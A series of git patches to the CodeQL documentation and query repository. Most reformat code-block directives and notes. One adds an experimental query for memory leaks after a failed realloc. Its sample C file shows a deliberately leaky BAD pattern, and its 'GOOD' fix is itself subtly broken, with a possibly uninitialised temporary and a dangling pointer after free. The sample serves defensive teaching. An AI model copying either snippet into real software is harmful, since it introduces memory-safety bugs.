declarations inside the class. Much like the :ref:`variable <this>` ``this``, fields must be constrained in the :ref:`characteristic predicate <characteristic-predicates>`. -For example:: +For example: + +.. code-block:: ql class SmallInt extends int { SmallInt() { this = [1 .. 10] } @@ -283,7 +285,9 @@ inherited predicate, and by adding the ``override`` :ref:`annotation <override>` This is useful if you want to refine the predicate to give a more specific result for the values in the subclass. -For example, extending the class from the :ref:`first example <defining-a-class>`:: +For example, extending the class from the :ref:`first example <defining-a-class>`: + +.. code-block:: ql class OneTwo extends OneTwoThree { OneTwo() { @@ -298,7 +302,9 @@ For example, extending the class from the :ref:`first example <defining-a-class> The member predicate ``getAString()`` overrides the original definition of ``getAString()`` from ``OneTwoThree``. -Now, consider the following query:: +Now, consider the following query: + +.. code-block:: ql from OneTwoThree o select o, o.getAString() @@ -318,7 +324,9 @@ look like this: In QL, unlike other object-oriented languages, different subtypes of the same types don't need to be disjoint. For example, you could define another subclass of ``OneTwoThree``, which overlaps -with ``OneTwo``:: +with ``OneTwo``: + +.. code-block:: ql class TwoThree extends OneTwoThree { TwoThree() { @@ -425,7 +433,9 @@ It also means that a unique ``NoCall`` value is produced. Defining an algebraic datatype ============================== -To define an algebraic datatype, use the following general syntax:: +To define an algebraic datatype, use the following general syntax: + +.. code-block:: ql newtype <TypeName> = <branches> @@ -474,7 +484,9 @@ In the standard QL language libraries, this is usually done as follows: For example, the following code snippet from the CodeQL data-flow library for C# defines classes for dealing with tainted or untainted values. In this case, it doesn't make sense for ``TaintType`` to extend a database type. It is part of the taint analysis, not the underlying -program, so it's helpful to extend a new type (namely ``TTaintType``):: +program, so it's helpful to extend a new type (namely ``TTaintType``): + +.. code-block:: ql private newtype TTaintType = TExactValue() @@ -531,7 +543,9 @@ For example, the following construction is legal: } However, a similar implementation that restricts ``InitialValueSource`` in a class extension is not valid. -If we had implemented ``DefiniteInitialization`` as a class extension instead, it would trigger a type test for ``InitialValueSource``. This results in an illegal recursion ``DefiniteInitialization -> InitialValueSource -> UnknownInitialGarbage -> ¬DefiniteInitialization`` since ``UnknownInitialGarbage`` relies on ``DefiniteInitialization``:: +If we had implemented ``DefiniteInitialization`` as a class extension instead, it would trigger a type test for ``InitialValueSource``. This results in an illegal recursion ``DefiniteInitialization -> InitialValueSource -> UnknownInitialGarbage -> ¬DefiniteInitialization`` since ``UnknownInitialGarbage`` relies on ``DefiniteInitialization``: + +.. code-block:: ql // THIS WON'T WORK: The implicit type check for InitialValueSource involves an illegal recursion // DefiniteInitialization -> InitialValueSource -> UnknownInitialGarbage -> ¬DefiniteInitialization! From 623de3df41c42ef4a521e0a960d6f5d343650c28 Mon Sep 17 00:00:00 2001 From: neal1991 <neal1991@sina.com> Date: Wed, 23 Dec 2020 17:36:04 +0800 Subject: [PATCH 0383/1241] the level of HTMLHtmlCommentStart and HtmlCommentEnd should be same --- .../codeql-language-guides/codeql-library-for-javascript.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/codeql/codeql-language-guides/codeql-library-for-javascript.rst b/docs/codeql/codeql-language-guides/codeql-library-for-javascript.rst index d82d30e2222..c1ae36152da 100644 --- a/docs/codeql/codeql-language-guides/codeql-library-for-javascript.rst +++ b/docs/codeql/codeql-language-guides/codeql-library-for-javascript.rst @@ -156,7 +156,7 @@ The class `Comment <https://codeql.github.com/codeql-standard-libraries/javascri - `HtmlCommentStart <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Comments.qll/type.Comments$HtmlCommentStart.html>`__: an HTML comment starting with ``<!--`` - - `HtmlCommentEnd <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Comments.qll/type.Comments$HtmlCommentEnd.html>`__: an HTML comment ending with ``-->`` + - `HtmlCommentEnd <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Comments.qll/type.Comments$HtmlCommentEnd.html>`__: an HTML comment ending with ``-->`` - `BlockComment <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Comments.qll/type.Comments$BlockComment.html>`__: a block comment potentially spanning multiple lines From 583395d8624deea34f99eda7e584d67fb3d57716 Mon Sep 17 00:00:00 2001 From: madneal <neal1991@sina.com> Date: Wed, 23 Dec 2020 19:49:30 +0800 Subject: [PATCH 0384/1241] fix LineComment and BlockComment level --- .../codeql-library-for-javascript.rst | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/docs/codeql/codeql-language-guides/codeql-library-for-javascript.rst b/docs/codeql/codeql-language-guides/codeql-library-for-javascript.rst index c1ae36152da..570e45401d6 100644 --- a/docs/codeql/codeql-language-guides/codeql-library-for-javascript.rst +++ b/docs/codeql/codeql-language-guides/codeql-library-for-javascript.rst @@ -158,10 +158,10 @@ The class `Comment <https://codeql.github.com/codeql-standard-libraries/javascri - `HtmlCommentEnd <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Comments.qll/type.Comments$HtmlCommentEnd.html>`__: an HTML comment ending with ``-->`` -- `BlockComment <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Comments.qll/type.Comments$BlockComment.html>`__: a block comment potentially spanning multiple lines + - `BlockComment <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Comments.qll/type.Comments$BlockComment.html>`__: a block comment potentially spanning multiple lines - - `SlashStarComment <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Comments.qll/type.Comments$SlashStarComment.html>`__: a plain JavaScript block comment surrounded with ``/*...*/`` - - `DocComment <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Comments.qll/type.Comments$DocComment.html>`__: a documentation block comment surrounded with ``/**...*/`` + - `SlashStarComment <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Comments.qll/type.Comments$SlashStarComment.html>`__: a plain JavaScript block comment surrounded with ``/*...*/`` + - `DocComment <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Comments.qll/type.Comments$DocComment.html>`__: a documentation block comment surrounded with ``/**...*/`` The most important member predicates are as follows: From ff8e9e6adf0987e74956042fa86bb8bb8b68df2e Mon Sep 17 00:00:00 2001 From: Shati Patel <42641846+shati-patel@users.noreply.github.com> Date: Wed, 23 Dec 2020 12:41:46 +0000 Subject: [PATCH 0385/1241] Fix code block in other CodeQL docs --- .../codeql-library-for-csharp.rst | 6 ++-- .../about-codeql-queries.rst | 4 ++- .../creating-path-queries.rst | 36 ++++++++++++++----- .../cross-the-river.rst | 10 ++++++ .../troubleshooting-query-performance.rst | 20 ++++++++--- 5 files changed, 58 insertions(+), 18 deletions(-) diff --git a/docs/codeql/codeql-language-guides/codeql-library-for-csharp.rst b/docs/codeql/codeql-language-guides/codeql-library-for-csharp.rst index c9357be9772..03a1e449ea8 100644 --- a/docs/codeql/codeql-language-guides/codeql-library-for-csharp.rst +++ b/docs/codeql/codeql-language-guides/codeql-library-for-csharp.rst @@ -108,8 +108,8 @@ Count the number of lines of code, excluding the directory ``external``: .. code-block:: ql select sum(SourceFile f | - not exists(Folder external | external.getShortName() = "external" | - external.getAFolder*().getAFile() = f) | + not exists(Folder ext | ext.getShortName() = "external" | + ext.getAFolder*().getAFile() = f) | f.getNumberOfLines()) Exercises @@ -961,7 +961,7 @@ Find all obsolete elements: Model NUnit test fixtures: -.. code-block:: csharp +.. code-block:: ql class TestFixture extends Class { diff --git a/docs/codeql/writing-codeql-queries/about-codeql-queries.rst b/docs/codeql/writing-codeql-queries/about-codeql-queries.rst index 24b68a0ad28..39442f1823e 100644 --- a/docs/codeql/writing-codeql-queries/about-codeql-queries.rst +++ b/docs/codeql/writing-codeql-queries/about-codeql-queries.rst @@ -21,7 +21,9 @@ For more information on how to format your code when contributing queries to the Basic query structure ********************* -:ref:`Queries <queries>` written with CodeQL have the file extension ``.ql``, and contain a ``select`` clause. Many of the existing queries include additional optional information, and have the following structure:: +:ref:`Queries <queries>` written with CodeQL have the file extension ``.ql``, and contain a ``select`` clause. Many of the existing queries include additional optional information, and have the following structure: + +.. code-block:: ql /** * diff --git a/docs/codeql/writing-codeql-queries/creating-path-queries.rst b/docs/codeql/writing-codeql-queries/creating-path-queries.rst index 4d65351ec31..9b15b6ed4cb 100644 --- a/docs/codeql/writing-codeql-queries/creating-path-queries.rst +++ b/docs/codeql/writing-codeql-queries/creating-path-queries.rst @@ -44,7 +44,9 @@ Constructing a path query Path queries require certain metadata, query predicates, and ``select`` statement structures. Many of the built-in path queries included in CodeQL follow a simple structure, which depends on how the language you are analyzing is modeled with CodeQL. -For C/C++, C#, Java, and JavaScript you should use the following template:: +For C/C++, C#, Java, and JavaScript you should use the following template: + +.. code-block:: ql /** * ... @@ -66,7 +68,9 @@ Where: - ``source`` and ``sink`` are nodes on the `path graph <https://en.wikipedia.org/wiki/Path_graph>`__, and ``DataFlow::PathNode`` is their type. - ``Configuration`` is a class containing the predicates which define how data may flow between the ``source`` and the ``sink``. -For Python you should use a slightly different template:: +For Python you should use a slightly different template: + +.. code-block:: ql /** * ... @@ -104,13 +108,17 @@ To do this you need to define a :ref:`query predicate <query-predicates>` called This predicate defines the edge relations of the graph you are computing, and it is used to compute the paths related to each result that your query generates. You can import a predefined ``edges`` predicate from a path graph module in one of the standard data flow libraries. In addition to the path graph module, the data flow libraries contain the other ``classes``, ``predicates``, and ``modules`` that are commonly used in data flow analysis. The import statement to use depends on the language that you are analyzing. -For C/C++, C#, Java, and JavaScript you would use:: +For C/C++, C#, Java, and JavaScript you would use: + +.. code-block:: ql import DataFlow::PathGraph This statement imports the ``PathGraph`` module from the data flow library (``DataFlow.qll``), in which ``edges`` is defined. -For Python, the ``Paths`` module contains the ``edges`` predicate:: +For Python, the ``Paths`` module contains the ``edges`` predicate: + +.. code-block:: ql import semmle.python.security.Paths @@ -121,7 +129,9 @@ For all languages, you can also optionally define a ``nodes`` query predicate, w Defining your own ``edges`` predicate ------------------------------------- -You can also define your own ``edges`` predicate in the body of your query. It should take the following form:: +You can also define your own ``edges`` predicate in the body of your query. It should take the following form: + +.. code-block:: ql query predicate edges(PathNode a, PathNode b) { /** Logical conditions which hold if `(a,b)` is an edge in the data flow graph */ @@ -136,7 +146,9 @@ You must provide information about the ``source`` and ``sink`` in your path quer The name and the type of the ``source`` and the ``sink`` must be declared in the ``from`` statement of the query, and the types must be compatible with the nodes of the graph computed by the ``edges`` predicate. If you are querying C/C++, C#, Java, or JavaScript code (and you have used ``import DataFlow::PathGraph`` in your query), the definitions of the ``source`` and ``sink`` are accessed via the ``Configuration`` class in the data flow library. You should declare all three of these objects in the ``from`` statement. -For example:: +For example: + +.. code-block:: ql from Configuration config, DataFlow::PathNode source, DataFlow::PathNode sink @@ -149,7 +161,9 @@ For more information on using the configuration class in your analysis see the s You can also create a configuration for different frameworks and environments by extending the ``Configuration`` class. For more information, see ":ref:`Types <defining-a-class>`" in the QL language reference. -If you are querying Python code (and you have used ``import semmle.python.security.Paths`` in your query) you should declare ``TaintedPathSource source, TaintedPathSink sink`` in your ``from`` statement. You do not need to declare a ``Configuration`` class as the definitions of the ``TaintedPathSource`` and ``TaintedPathSink`` contain all of the type information that is required:: +If you are querying Python code (and you have used ``import semmle.python.security.Paths`` in your query) you should declare ``TaintedPathSource source, TaintedPathSink sink`` in your ``from`` statement. You do not need to declare a ``Configuration`` class as the definitions of the ``TaintedPathSource`` and ``TaintedPathSink`` contain all of the type information that is required: + +.. code-block:: ql from TaintedPathSource source, TaintedPathSink sink @@ -163,11 +177,15 @@ This clause can use :ref:`aggregations <aggregations>`, :ref:`predicates <predic When writing a path queries, you would typically include a predicate that holds only if data flows from the ``source`` to the ``sink``. -For C/C++, C#, Java or JavaScript, you would use the ``hasFlowPath`` predicate to define flow from the ``source`` to the ``sink`` for a given ``Configuration``:: +For C/C++, C#, Java or JavaScript, you would use the ``hasFlowPath`` predicate to define flow from the ``source`` to the ``sink`` for a given ``Configuration``: + +.. code-block:: ql where config.hasFlowPath(source, sink) -For Python, you would simply use the ``flowsTo`` predicate to define flow from the ``source`` to the ``sink``:: +For Python, you would simply use the ``flowsTo`` predicate to define flow from the ``source`` to the ``sink``: + +.. code-block:: ql where source.flowsTo(sink) diff --git a/docs/codeql/writing-codeql-queries/cross-the-river.rst b/docs/codeql/writing-codeql-queries/cross-the-river.rst index 31d2913f590..97fc080fedc 100644 --- a/docs/codeql/writing-codeql-queries/cross-the-river.rst +++ b/docs/codeql/writing-codeql-queries/cross-the-river.rst @@ -47,6 +47,7 @@ a piece of cargo. *Show/hide code* .. literalinclude:: river-crossing.ql + :language: ql :lines: 15-23 Second, any item can be on one of two shores. Let's call these the "left shore" and the "right shore". @@ -63,6 +64,7 @@ You can do this by defining a member predicate *Show/hide code* .. literalinclude:: river-crossing.ql + :language: ql :lines: 25-38 We also want a way to keep track of where the man, the goat, the cabbage, and the wolf are at any point. We can call this combined @@ -80,6 +82,7 @@ temporary variables in the body of a class are called :ref:`fields <fields>`. *Show/hide code* .. literalinclude:: river-crossing-1.ql + :language: ql :lines: 33-40,87 We are interested in two particular states, namely the initial state and the goal state, @@ -94,6 +97,7 @@ Assuming that all items start on the left shore and end up on the right shore, d *Show/hide code* .. literalinclude:: river-crossing-1.ql + :language: ql :lines: 89-97 .. pull-quote:: @@ -112,6 +116,7 @@ Using the above note, the QL code so far looks like this: *Show/hide code* .. literalinclude:: river-crossing.ql + :language: ql :lines: 15-52,103-113 Model the action of "ferrying" @@ -130,6 +135,7 @@ after ferrying a particular cargo. (Hint: Use the predicate ``other``.) *Show/hide code* .. literalinclude:: river-crossing.ql + :language: ql :lines: 54-67 Of course, not all ferrying actions are possible. Add some extra conditions to describe when a ferrying @@ -147,6 +153,7 @@ For example, follow these steps: *Show/hide code* .. literalinclude:: river-crossing.ql + :language: ql :lines: 69-81 Find paths from one state to another @@ -185,6 +192,7 @@ for example ``steps <= 7``. *Show/hide code* .. literalinclude:: river-crossing-1.ql + :language: ql :lines: 70-86 However, although this ensures that the solution is finite, it can still contain loops if the upper bound @@ -215,6 +223,7 @@ the given path without revisiting any previously visited states. *Show/hide code* .. literalinclude:: river-crossing.ql + :language: ql :lines: 83-102 Display the results @@ -230,6 +239,7 @@ that returns the resulting path. *Show/hide code* .. literalinclude:: river-crossing.ql + :language: ql :lines: 115-117 The :ref:`don't-care expression <don-t-care-expressions>` (``_``), diff --git a/docs/codeql/writing-codeql-queries/troubleshooting-query-performance.rst b/docs/codeql/writing-codeql-queries/troubleshooting-query-performance.rst index 9444677917c..41f5883e0b7 100644 --- a/docs/codeql/writing-codeql-queries/troubleshooting-query-performance.rst +++ b/docs/codeql/writing-codeql-queries/troubleshooting-query-performance.rst @@ -27,7 +27,9 @@ The performance of a predicate can often be judged by considering roughly how ma One way of creating badly performing predicates is by using two variables without relating them in any way, or only relating them using a negation. This leads to computing the `Cartesian product <https://en.wikipedia.org/wiki/Cartesian_product>`__ between the sets of possible values for each variable, potentially generating a huge table of results. This can occur if you don't specify restrictions on your variables. -For instance, consider the following predicate that checks whether a Java method ``m`` may access a field ``f``:: +For instance, consider the following predicate that checks whether a Java method ``m`` may access a field ``f``: + +.. code-block:: ql predicate mayAccess(Method m, Field f) { f.getAnAccess().getEnclosingCallable() = m @@ -39,7 +41,9 @@ The predicate holds if ``m`` contains an access to ``f``, but also conservativel However, if ``m`` is a native method, the table computed by ``mayAccess`` will contain a row ``m, f`` for *all* fields ``f`` in the codebase, making it potentially very large. -This example shows a similar mistake in a member predicate:: +This example shows a similar mistake in a member predicate: + +.. code-block:: ql class Foo extends Class { ... @@ -57,11 +61,15 @@ Use specific types ~~~~~~~~~~~~~~~~~~ ":ref:`Types <types>`" provide an upper bound on the size of a relation. -This helps the query optimizer be more effective, so it's generally good to use the most specific types possible. For example:: +This helps the query optimizer be more effective, so it's generally good to use the most specific types possible. For example: + +.. code-block:: ql predicate foo(LoggingCall e) -is preferred over:: +is preferred over: + +.. code-block:: ql predicate foo(Expr e) @@ -95,7 +103,9 @@ Avoid complex recursion ":ref:`Recursion <recursion>`" is about self-referencing definitions. It can be extremely powerful as long as it is used appropriately. On the whole, you should try to make recursive predicates as simple as possible. -That is, you should define a *base case* that allows the predicate to *bottom out*, along with a single *recursive call*:: +That is, you should define a *base case* that allows the predicate to *bottom out*, along with a single *recursive call*: + +.. code-block:: ql int depth(Stmt s) { exists(Callable c | c.getBody() = s | result = 0) // base case From dc528767f67722877847170d315a87243c4daaf0 Mon Sep 17 00:00:00 2001 From: Shati Patel <42641846+shati-patel@users.noreply.github.com> Date: Wed, 23 Dec 2020 16:47:37 +0000 Subject: [PATCH 0386/1241] =?UTF-8?q?Don't=20turn=20arrow=20into=20?= =?UTF-8?q?=E2=96=B6=20emoji?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- docs/codeql/_static/custom.css_t | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/docs/codeql/_static/custom.css_t b/docs/codeql/_static/custom.css_t index 16cfcb5a2f9..e8667ede93a 100644 --- a/docs/codeql/_static/custom.css_t +++ b/docs/codeql/_static/custom.css_t @@ -222,10 +222,12 @@ blockquote.pull-quote > :last-child { .toggle .name:after { content: " ▶"; + font-family: "monospace"; } .toggle .name.open:after { content: " ▼"; + font-family: "monospace"; } /* -- PRINT VIEW ----------------------------------------------------------------------------*/ @@ -261,4 +263,4 @@ blockquote.pull-quote > :last-child { div.footer { display: block; } -} \ No newline at end of file +} From 050b15103e158b80c1305aae9a73a0c45b35d1c0 Mon Sep 17 00:00:00 2001 From: Shati Patel <42641846+shati-patel@users.noreply.github.com> Date: Wed, 23 Dec 2020 17:13:24 +0000 Subject: [PATCH 0387/1241] Convert remaining notes to pull-quote directives --- docs/codeql/codeql-cli/creating-codeql-query-suites.rst | 4 ++-- .../hash-consing-and-value-numbering.rst | 4 ++-- docs/codeql/ql-language-reference/annotations.rst | 3 ++- .../ql-language-reference/evaluation-of-ql-programs.rst | 4 +++- docs/codeql/ql-language-reference/expressions.rst | 3 ++- docs/codeql/ql-language-reference/formulas.rst | 3 ++- docs/codeql/ql-language-reference/predicates.rst | 3 ++- docs/codeql/ql-language-reference/types.rst | 8 ++++++-- 8 files changed, 21 insertions(+), 11 deletions(-) diff --git a/docs/codeql/codeql-cli/creating-codeql-query-suites.rst b/docs/codeql/codeql-cli/creating-codeql-query-suites.rst index 2ded0522cc9..9c3579acd4a 100644 --- a/docs/codeql/codeql-cli/creating-codeql-query-suites.rst +++ b/docs/codeql/codeql-cli/creating-codeql-query-suites.rst @@ -16,7 +16,7 @@ mapping with (usually) a single key. The instructions are executed in the order they appear in the query suite definition. After all the instructions in the suite definition have been executed, the result is a set of selected queries. -.. note:: +.. pull-quote:: Note Any custom queries that you want to add to a query suite must be in a :doc:`QL pack <about-ql-packs>` and contain the correct query metadata. @@ -54,7 +54,7 @@ queries using: - qlpack: <qlpack-name> -.. note:: +.. pull-quote:: Note When pathnames appear in query suite definitions, they must always be given with a forward slash, ``/``, as a directory separator. diff --git a/docs/codeql/codeql-language-guides/hash-consing-and-value-numbering.rst b/docs/codeql/codeql-language-guides/hash-consing-and-value-numbering.rst index 80f063386b8..8afa51e3e53 100644 --- a/docs/codeql/codeql-language-guides/hash-consing-and-value-numbering.rst +++ b/docs/codeql/codeql-language-guides/hash-consing-and-value-numbering.rst @@ -54,7 +54,7 @@ The value numbering library exposes its interface primarily through the ``GVN`` To get the ``GVN`` of an ``Expr``, use the ``globalValueNumber`` predicate. -.. note:: +.. pull-quote:: Note While the ``GVN`` class has ``toString`` and ``getLocation`` methods, these are only provided as debugging aids. They give the ``toString`` and ``getLocation`` of an arbitrary ``Expr`` within the set. @@ -90,7 +90,7 @@ The hash consing API The hash consing library exposes its interface primarily through the ``HashCons`` class. Each instance of ``HashCons`` represents a set of expressions within one function that have the same syntax (including referring to the same variables). To get an expression in the set represented by a particular ``HashCons``, use the ``getAnExpr()`` member predicate. -.. note:: +.. pull-quote:: Note While the ``HashCons`` class has ``toString`` and ``getLocation`` methods, these are only provided as debugging aids. They give the ``toString`` and ``getLocation`` of an arbitrary ``Expr`` within the set. diff --git a/docs/codeql/ql-language-reference/annotations.rst b/docs/codeql/ql-language-reference/annotations.rst index cd9f2c72860..cbd06220e6c 100644 --- a/docs/codeql/ql-language-reference/annotations.rst +++ b/docs/codeql/ql-language-reference/annotations.rst @@ -203,7 +203,8 @@ change this definition. In this case, ``hasName`` should be final: **Available for**: |classes| -.. important:: +.. pull-quote:: Important + This annotation is deprecated. Instead of annotating a name with ``library``, put it in a private (or privately imported) module. diff --git a/docs/codeql/ql-language-reference/evaluation-of-ql-programs.rst b/docs/codeql/ql-language-reference/evaluation-of-ql-programs.rst index 507c1456582..c7a8698b0cd 100644 --- a/docs/codeql/ql-language-reference/evaluation-of-ql-programs.rst +++ b/docs/codeql/ql-language-reference/evaluation-of-ql-programs.rst @@ -96,7 +96,9 @@ To do this, you can use the following mechanisms: :ref:`binds <predicate-binding>` all its arguments. Therefore, if you :ref:`call <calls>` a predicate on a variable, the variable becomes bound. - .. important:: If a predicate uses non-standard binding sets, then it does **not** always bind + .. pull-quote:: Important + + If a predicate uses non-standard binding sets, then it does **not** always bind all its arguments. In such a case, whether the predicate call binds a specific argument depends on which other arguments are bound, and what the binding sets say about the argument in question. For more information, see ":ref:`binding-sets`." diff --git a/docs/codeql/ql-language-reference/expressions.rst b/docs/codeql/ql-language-reference/expressions.rst index 2bd89d8ab8d..683487a8277 100644 --- a/docs/codeql/ql-language-reference/expressions.rst +++ b/docs/codeql/ql-language-reference/expressions.rst @@ -552,7 +552,8 @@ The following table lists some examples of different forms of ``any`` expression | ``any(int i | i = [0 .. 3] | i * i)`` | the integers ``0``, ``1``, ``4``, and ``9`` | +------------------------------------------+-------------------------------------------------+ -.. note:: +.. pull-quote:: Note + There is also a `built-in predicate <ql-language-specification#non-member-built-ins>`_ ``any()``. This is a predicate that always holds. diff --git a/docs/codeql/ql-language-reference/formulas.rst b/docs/codeql/ql-language-reference/formulas.rst index 1354f087d0d..0da70a00790 100644 --- a/docs/codeql/ql-language-reference/formulas.rst +++ b/docs/codeql/ql-language-reference/formulas.rst @@ -318,7 +318,8 @@ The following query selects files that are not HTML files. where not f.getFileType().isHtml() select f -.. note:: +.. pull-quote:: Note + You should be careful when using ``not`` in a recursive definition, as this could lead to non-monotonic recursion. For more information, ":ref:`non-monotonic-recursion`." diff --git a/docs/codeql/ql-language-reference/predicates.rst b/docs/codeql/ql-language-reference/predicates.rst index 520d5a29216..a66f0ff1279 100644 --- a/docs/codeql/ql-language-reference/predicates.rst +++ b/docs/codeql/ql-language-reference/predicates.rst @@ -55,7 +55,8 @@ When defining a predicate, you should specify: argument type and an identifier for the argument variable. #. The predicate body itself. This is a logical formula enclosed in braces. -.. note:: +.. pull-quote:: Note + An :ref:`abstract` or :ref:`external` predicate has no body. To define such a predicate, end the predicate definition with a semicolon (``;``) instead. diff --git a/docs/codeql/ql-language-reference/types.rst b/docs/codeql/ql-language-reference/types.rst index a8c8c4bd5bc..5ae49c7745f 100644 --- a/docs/codeql/ql-language-reference/types.rst +++ b/docs/codeql/ql-language-reference/types.rst @@ -366,7 +366,9 @@ value, namely 2. It inherits member predicates from ``OneTwo`` and ``TwoThree``. It also (indirectly) inherits from ``OneTwoThree`` and ``int``. -.. note:: If a subclass inherits multiple definitions for the same predicate name, then it +.. pull-quote:: Note + + If a subclass inherits multiple definitions for the same predicate name, then it must :ref:`override <overriding-member-predicates>` those definitions to avoid ambiguity. :ref:`Super expressions <super>` are often useful in this situation. @@ -397,7 +399,9 @@ in the characteristic predicate of a class. Algebraic datatypes ******************* -.. note:: The syntax for algebraic datatypes is considered experimental and is subject to +.. pull-quote:: Note + + The syntax for algebraic datatypes is considered experimental and is subject to change. However, they appear in the `standard QL libraries <https://github.com/github/codeql>`_ so the following sections should help you understand those examples. From 8c7245113dd4886a14c2a53891affcd5103b4b0f Mon Sep 17 00:00:00 2001 From: Shati Patel <42641846+shati-patel@users.noreply.github.com> Date: Wed, 23 Dec 2020 17:16:56 +0000 Subject: [PATCH 0388/1241] Change ordering of sidebar TOC to match index file --- docs/codeql/writing-codeql-queries/index.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/codeql/writing-codeql-queries/index.rst b/docs/codeql/writing-codeql-queries/index.rst index 2e6c8752ef0..0459156a49b 100644 --- a/docs/codeql/writing-codeql-queries/index.rst +++ b/docs/codeql/writing-codeql-queries/index.rst @@ -12,5 +12,5 @@ Get to know more about queries and learn some key query-writing skills by solvin .. toctree:: :hidden: - ql-tutorials codeql-queries + ql-tutorials From cd7c47ea39fa3502580ad6704729b8faf146daef Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Sat, 26 Dec 2020 20:43:25 +0300 Subject: [PATCH 0389/1241] Add files via upload --- .../CWE-401/MemoryLeakOnFailedCallToRealloc.c | 20 ++++++ .../MemoryLeakOnFailedCallToRealloc.qhelp | 38 +++++++++++ .../MemoryLeakOnFailedCallToRealloc.ql | 64 +++++++++++++++++++ 3 files changed, 122 insertions(+) create mode 100644 cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.c create mode 100644 cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.qhelp create mode 100644 cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.c b/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.c new file mode 100644 index 00000000000..dc5565f3471 --- /dev/null +++ b/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.c @@ -0,0 +1,20 @@ +// BAD: on unsuccessful call to realloc, we will lose a pointer to a valid memory block +if (currentSize < newSize) +{ + buffer = (unsigned char *)realloc(buffer, newSize); +} + + + +// GOOD: this way we will exclude possible memory leak +unsigned char * tmp; +if (currentSize < newSize) +{ + tmp = (unsigned char *)realloc(buffer, newSize); +} +if (tmp == NULL) +{ + free(buffer); +} +else + buffer = tmp; diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.qhelp b/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.qhelp new file mode 100644 index 00000000000..3a6da51b91a --- /dev/null +++ b/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.qhelp @@ -0,0 +1,38 @@ +<!DOCTYPE qhelp PUBLIC + "-//Semmle//qhelp//EN" + "qhelp.dtd"> +<qhelp> +<overview> +<p>Memory leak on failed call to realloc. +The expression mem = realloc (mem, size) is potentially dangerous, if the call fails, we will lose the pointer to the memory block. +An unsuccessful call is possible not only when trying to allocate a large amount of memory, but also when the process memory is strongly segmented.</p> + +<p>False positives include code in which immediately after calling the realloc function, the pointer is manipulated without first checking for validity. +In this case, an exception will occur in the program and it will terminate. +But from the point of view of safe coding, these places require the attention of developers. +At this stage, false positives are also possible in situations where the exception handling is quite complicated and occurs outside the base block in which memory is redistributed.</p> + +</overview> +<recommendation> + +<p>We recommend storing the result in a temporary variable and eliminating memory leak.</p> + +</recommendation> +<example> +<p>The following example demonstrates an erroneous and corrected use of the realloc function.</p> +<sample src="MemoryLeakOnFailedCallToRealloc.c" /> + +</example> +<references> + +<li> + CERT C++ Coding Standard: +<a href="https://wiki.sei.cmu.edu/confluence/display/cplusplus/MEM51-CPP.+Properly+deallocate+dynamically+allocated+resources">MEM51-CPP. Properly deallocate dynamically allocated resources</a>. +</li> +<li> + CERT C Coding Standard: + <a href="https://wiki.sei.cmu.edu/confluence/display/c/WIN30-C.+Properly+pair+allocation+and+deallocation+functions">WIN30-C. Properly pair allocation and deallocation functions</a>. +</li> + +</references> +</qhelp> \ No newline at end of file diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql b/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql new file mode 100644 index 00000000000..1d2c8f528de --- /dev/null +++ b/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql @@ -0,0 +1,64 @@ +/** + * @name Memory leak on failed call to realloc + * @description The expression mem = realloc (mem, size) is potentially dangerous, if the call fails, we will lose the pointer to the memory block. + * An unsuccessful call is possible not only when trying to allocate a large amount of memory, but also when the process memory is strongly segmented. + * We recommend storing the result in a temporary variable and eliminating memory leak. + * @kind problem + * @id cpp/memory-leak-on-failed-call-to-realloc + * @problem.severity warning + * @precision medium + * @tags security + * external/cwe/cwe-401 + */ + +import cpp +import semmle.code.cpp.dataflow.DataFlow + +class ReallocCallLeak extends FunctionCall { + ReallocCallLeak() { + exists(AssignExpr ex, Variable v, VariableAccess va1, VariableAccess va2 | + this.getTarget().hasName("realloc") and + this = ex.getRValue() and + va1 = ex.getLValue() and + va2 = this.getArgument(0) and + va1 = v.getAnAccess() and + va2 = v.getAnAccess() + ) + } + + predicate isExistsIfWithExitCall() { + exists(IfStmt ifc | + exists(Variable v, DataFlow::Node source, DataFlow::Node sink | + DataFlow::localFlow(source, sink) and + source.asExpr() = this.getArgument(0) and + this.getArgument(0) = v.getAnAccess() and + ifc.getEnclosingFunction() = this.getEnclosingFunction() and + ifc.getLocation().getStartLine() >= this.getArgument(0).getLocation().getStartLine() and + v.getAnAccess() = ifc.getCondition().getAChild*() and + sink.asExpr() = v.getAnAccess() + ) and + exists(FunctionCall fc | + fc.getEnclosingFunction() = this.getEnclosingFunction() 